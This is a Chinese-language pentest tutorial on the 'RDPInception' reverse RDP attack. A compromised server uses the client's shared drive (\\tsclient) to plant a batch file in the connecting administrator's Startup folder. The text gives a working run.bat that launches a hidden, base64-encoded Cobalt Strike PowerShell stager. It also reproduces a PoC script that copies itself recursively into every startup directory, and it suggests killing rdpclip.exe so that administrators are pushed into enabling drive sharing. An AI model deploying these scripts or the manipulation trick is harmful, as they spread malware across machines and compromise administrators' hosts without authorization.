前言

通常认为远程桌面协议是连接远程计算机的安全且值得信赖的应用程序,全球数以千计的 IT 专业人员和安全研究人员都在使用远程桌面协议管理者自己的计算机设备,无论是用于帮助远程工作人员还是在安全的 VM 环境中工作,RDP 远程桌面客户端都是非常宝贵的工具。然而,这一值得信赖的应用程序并不是完全可靠的,在我的《内网渗透测试:初探远程桌面的安全问题》这篇文章中,我大致罗列出了常见的用于攻击 RDP 远程桌面的方式。本节我们就一个问题进行探讨,即如何通过远程桌面服务端反打连接他的客户端。

如今,在很多组织机构内部,针对 DMZ 或隔离网络区域内的计算机设备,为了限制其它接入端口风险,通常只允许这些设备开启 3389 端口,使用远程桌面来进行管理维护,这样,所有正向攻击手段都无法使用。那这样真的就万无一失了吗?当然不是。本节我们就来研究如何通过 RDP 反向攻击的方式针对这种受限网络设备完成渗透测试。

RDP 反向攻击的姿势有不少,本节我们主要针对最简单的一个姿势来进行进行讲解,即通过挂载盘符进行 RDP 反向攻击。其基本原理就是Windows 远程桌面客户端 mstsc 有一个盘符挂载选项,如果勾选了该选项,会开启磁盘共享功能,相当于将你的磁盘再远程主机上共享,你可以通过类似于 SMB 文件传输命令那样将位于远程主机上的文件复制到客户端主机上。如果我们通过相应的设置,在客户端连接远程主机的一瞬间,将远程主机上早已准备好的木马程序复制到客户端主机的启动项中,那么当客户端主机下一次启动时便会执行该木程序,客户端主机便可以成功上线。这种攻击方法又被称作 RDPInception。

Mstsc 挂载盘符

这里利用了Windows 远程桌面客户端 mstsc.exe 连接时的一个选项:

image-20210712211001617

连接目标主机时,如果像上图那样在 mstsc.exe 中开启驱动器共享的话,那么客户端进行远程登陆后,在远程远程主机的 “网络” 中便可以发现一个名为 “tsclient” 的主机:

image-20210712213431202

这其实就是开启磁盘共享后,远程主机为连接他的客户端主机分配的名称。然后通过以下格式的命令便可以在远程主机上访问连接他的客户端主机了:

dir \\tsclient\c    # 列出连接远程主机的本机 C 盘目录
copy file \\tsclient\c    # 将文件复制到连接远程主机的本机中
# \\tsclient\盘符

如下图,我们使用 “tsclient” 列出了客户端主机上的 C 盘目录:

image-20210712213922868

如下图所示,我们使用 “tsclient” 将远程主机上的 test.txt 成功复制到了客户端主机:

image-20210712214851175

这种访问方式类似于使用 SMB 进行文件传输,虽然本质上都是 SMB 协议,但是使用 tsclient 无需进行身份认证。

但要注意的是,只有通过远程登陆的用户才可以在远程主机中访问 tsclient,其他在远程主机上本地登录的用户是无论如何也无法访问 tsclient 的。

RDP 反向攻击测试(初探)

实验环境:

image-20210713103049331

假设攻击者已经通过各种手段拿下了 Windows Server 2012 这台服务器,但是目标网络环境为了限制其它接入端口风险,只允许Windows Server 2012 开启 3389 端口,由位于更深一层网络中的管理员主机 Windows 10 使用远程桌面来进行管理维护,那我们该如何通过 Windows Server 2012 进行横向渗透并拿下这台 Windows 10 管理员主机呢?

我们的思路是,在远程主机的启动项中写入一个 .bat 脚本(run.bat),当一个客户端用户通过远程桌面连接到这个远程主机时,在登陆之后会立即执行这个启动项中的 run.bat 脚本。start.bat 脚本执行后会首先遍历 tsclient 共享,发现 tsclient 共享后就会将自己复制到 tsclient 也就是连接远程主机的客户端主机上的启动项中,然后执行一个 Cobalt Strike 生成的 PowerShell Stager。然后,当客户端主机重启或者注销重新登录后就会再次进行上述过程,同时会使客户端主机上线。下面我们演示攻击过程。

首先简单编写一个 run.bat(仅提供测试使用):

# 关闭echo响应功能
@echo off
echo Updating Windows ...
# 关闭echo响应功能
@echo off
# 设置一个短时计数器,以确保tsclient进程被完全加载
timeout 1 >nul 2>&1
# 如果当前远程主机上可以访问到 tsclient, 则可以成功将 run.bat 通过 tsclient 复制到客户端主机上
copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\run.bat" "\\tsclient\C\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhADIALwBpAFMAQgBiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAFcAYgBDAEQASgBqAEYAbw......AAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=

将编写好的 run.bat 放在远程主机 Windows Server 2012 的系统启动项目录中:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

image-20210713002237220

然后将远程主机 Windows Server 2012 注销,等待客户端主机 Windows 10 的连接。假设此时管理员好像通过远程桌面去管理这个 Windows Server 2012,当他连接上远程桌面时,位于 Windows Server 2012 启动项中的 run.bat 就会成功执行,如下所示:

image-20210713002607488

如下图所示,成功将 run.bat 感染到了客户端主机 Windows 10 的启动项中:

image-20210713011328774

当管理员的这台客户端主机重启或者注销重新登录之后,run.bat 里面的 PowerShell Stager 就会执行,Windows 10 就会上线:

image-20210713012505227

image-20210713012408006

RDP 反向攻击测试(套娃)

在上一个情景中,攻击者通成功以 Windows Server 2012 这台服务器为据点向连接他的客户端主机发起了 RDP 反向攻击,最终拿下了客户端主机 Windows 10。这台 Windows Server 2012 作为一个 “传染源”,只要连接他的客户端开启了盘符挂载功能就能上钩,并将 run.bat 传染到客户端主机的启动项中。那么假设这样一种情况:

image-20210713112653359

管理员位于更深一层的网络中,其使用自己的笔记本电脑 Windows 7 先通过远程桌面登陆了 Windows 10,然后又通过 Windows 10 登陆了 Windows Server 2012 的远程桌面。

不出预料,在 Windows 10 连接上 Windows Server 2012 时,run.bat 便会扩散到 Windows 10 的启动项中,当 Windows 10 注销后,管理员再次使用他的 Windows 7 连接 Windows 10 的远程桌面,位于 Windows 10 上的 run.bat 便又会传染到 Windows 7 的启动项中:

image-20210713111735744

当管理员重启或者注销重新登录自己的 Windows 7 后,为于 Windows 7 启动项中的 run.bat 便会执行,Windows 7 便会上线:

image-20210713112344071

若 Windows 7 再次被其他机器通过远程桌面进行连接,那上面的攻击过程就会重演。通过这种反向层层传导、步步顺藤摸瓜的手法,直至对任何向被感染主机发起 RDP 请求连接的计算机形成攻击控制,最终形成一个攻击链路。

概念性验证 POC

ActiveBreach 团队的 Vincent Yiu 根据这种攻击思路开发了一个概念性验证 PoC 脚本,项目地址:https://github.com/mdsecactivebreach/RDPInception。脚本写的很简单,仅供验证类的测试使用:

# 关闭echo响应功能
@echo off
echo Updating Windows ...
# 关闭echo响应功能
@echo off
# 设置一个短时计数器,以确保tsclient进程被完全加载
timeout 1 >nul 2>&1
# 在RDP接入的客户端设备以及被控远程主机上创建临时目录
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
# 将我们的批处理文件 run.bat 拷贝到以上两个目录中
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
# 确保在临时目录下不存在txt文件
del /q %TEMP%\temp_00.txt >nul 2>&1
# 在 RDP 客户主机以及被控远程主机上识别出所有系统启动目录
set dirs=dir /a:d /b /s C:\users\*Startup*
set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
echo|%dirs2%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
# 将上述 run.bat 批处理文件依次拷贝到以下识别出的所有系统启动目录下
for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (
    copy run.bat "%%a" >nul 2>&1
    copy C:\temp\run.bat "%%a" >nul 2>&1
    copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1
)
# 清理临时文件夹
del /q %TEMP%\temp_00.txt >nul 2>&1
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
REM if "WINDOMAIN"="%USERDOMAIN%"( powershell.exe <cradle here> )

利用该脚本可以以递归方式对 RDP 接入设备的访客计算机发起攻击。目前,该攻击已有效应用于 ActiveBreach 团队多种模拟评估和复杂渗透测试场景中。大体思路与之前的两个情景类似:

在渗透测试中,如果我们获得某台服务器 C 的控制权,而最终目标是 PC X,但由于对方高度安全的网络环境限制,我们只有采取 RDP 反向攻击的方式,通过对接入 C 的服务器 B 进行攻击控制,之后,对接入 B 的服务器 A 进行攻击控制,最终,对接入 A 的 PC X 形成攻击控制。

整个攻击链如下:

•PC X RDP to Server A

•Server A RDP to Server B

•Server B RDP to Server C

在这整条攻击链路中,攻击者可以在任意计算机设备中发起 RDPInception 攻击。按照 RDPInception 的攻击理论,只要管理员以 RDP 远程桌面的方式登录到这条路径中的任何一台设备,攻击者就可以循环反复获取到所有设备的控制权。而攻击者唯一要做的就是在其中一台设备上发起 RDPInception 攻击,然后,只需静静等待管理员发起 RDP 远程桌面连接请求,其余的后续攻击便可由程序自动完成了。无需蹲点守候持续监控,只需对入侵服务器部署好攻击向量,姜太公钓鱼,自会让那些愿者陆续上钩。这种攻击技术无需用户凭证或其它漏洞利用,可在端口和应用等其它接入条件高度受限的网络环境下的横向渗透测试中,当其它横向渗透技术或提权操作被用完用尽,陷入“黔驴技穷”和一筹莫展状况时,可考虑使用此招。

限制条件

最主要的限制条件便是客户端的 mstsc.exe 必须要开启驱动器 C 盘共享,但是默认情况下 mstsc.exe 是会不开启磁盘共享功能的。这使得 RDPInception 攻击看似比较鸡肋,许多人都不以为意,认为没人会闲着没事特意把 mstsc.exe 的驱动器打开。但正常情况下,且不说同时维护多台主机的运维人员,即使是普通用户,当他需要本地与远程主机有频繁文件传输时,打开驱动器选项后通过简单地文件拖拽就能实现本地主机与远程主机的文件传输,这无疑是十分方便的。

就算用户真的没有开启驱动器,我们还可以用一些比较猥琐手段,比如在 run.bat 脚本找不到挂载磁盘的情况下,直接结束 rdpclip.exe 进程使的管理员无法使用剪切板功能实现本地主机与远程主机之间的复制粘贴,迫使管理员在不清楚原因的状况下,直接开启驱动器挂载上磁盘,哈哈哈。